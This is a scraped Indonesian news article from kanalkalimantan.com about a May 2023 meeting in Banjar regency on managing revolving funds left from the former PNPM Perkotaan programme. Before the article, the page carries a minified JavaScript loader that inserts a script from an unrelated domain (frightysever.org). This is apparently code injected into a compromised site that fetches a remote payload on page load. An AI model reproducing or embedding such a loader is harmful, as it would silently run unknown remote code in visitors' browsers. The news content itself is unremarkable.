(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Melalui Bidang Infrastruktur dan Kewilayahan, Bappedalitbang Kabupaten Banjar menyelenggarakan Rapat Pengelolaan dana bergulir eks Program Nasional Pemberdayaan Masyarakat (PNPM) Perkotaan, Rabu (24/5/2023) di Aula Bauntung, Bappedalitbang.
Kegiatan itu dipimpin oleh Kepala Bappedalitbang Kabupaten Banjar Dra Hj Siti Hamidah MSi didampingi Hj Herlina Maulidah ST, MT selaku Kepala Bidang Infrastruktur Kewilayahan dan Edy Jaya ST, MT Kasubid Kewilayahan.
Secara garis besar hal utama yang menjadi permasalahan dan tantangan dalam dana bergulir ini ketika mendudukkan status kepemilikan dana harus berbadan hukum sebagai kekuatan hukum untuk mengelola dana hibah ini.
Seyogyanya pemerintah daerah segera dapat mendudukkan status kepemilikannya sehingga dapat terbentuk badan hukum dalam kepengelolaannya atau mencarikan payung hukum baik untuk seluruh pengelola, aset yang dikelola dan sistem pengelolaan agar aman dalam mengelola dana bergulir eks Program PNPM Perkotaan.
Baca juga: PUPR Kalsel Laksanakan Sosialisasi Pengusulan DAK Air Minum dan Sanitasi
Melalui koordinator Lembaga Keswadayaan Masyarakat (LKM) menyampaikan Untuk pengelolaan dana bergulir eks Program Nasional Pemberdayaan Masyarakat (PNPM) Perkotaan 26 Lembaga Keswadayaan Masyarakat (LKM) di Kecamatan Martapura akan didaftarkan di Kementerian Hukum dan HAM agar 26 LKM tersebut berbadan hukum selain itu didaftarkan juga ke Badan Kesatuan Bangsa dan Politik Kabupaten Banjar.
Herlina menyampaikan, untuk pengembangan ekonomi masyarakat diperlukan SK Bupati sebagai aturan yang mengikat dan sebagai dasar memperkuat stakeholder/SKPD terkait dalam menjalankan tupoksinya terkait peningkatan ekonomi masyarakat melalui program ini, serta akan dibahas lebih lanjut melalui forum internal Pemerintah Daerah.
Dalam hal menanggulangi kemiskinan program Kota tanpa Kumuh (Kotaku) mempunyai keterkaitan erat dengan dana bergulir eks PNPM Perkotaan maka dari Koordinator tim Kotaky Kabupaten Banjar mengusulkan adanya penyusunan replikasi program Kotaku oleh Tim Kelompok Kerja PKP Kabupaten Banjar agar program ini tetap jalan berkesinambungan mengingat program Kotaku akan berakhir tahun ini
Kegiaran ini dihadiri oleh Asisten Bidang Perekonomian dan Pembangunan Kabupaten Banjar, DPRKPLH Kab Banjar, DPMD Kab Banjar, Dinas Koperasi, Usaha Mikro Perindustrian Kabupaten Banjar, Bagian Hukum Setda Banjar, Tim Kotaku, Koordinator FKA-LKM, City Changer dan Koordinator P3MD Kab Banjar. (kanalkalimantan.com/bappedalitbang/kk)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
This website uses cookies.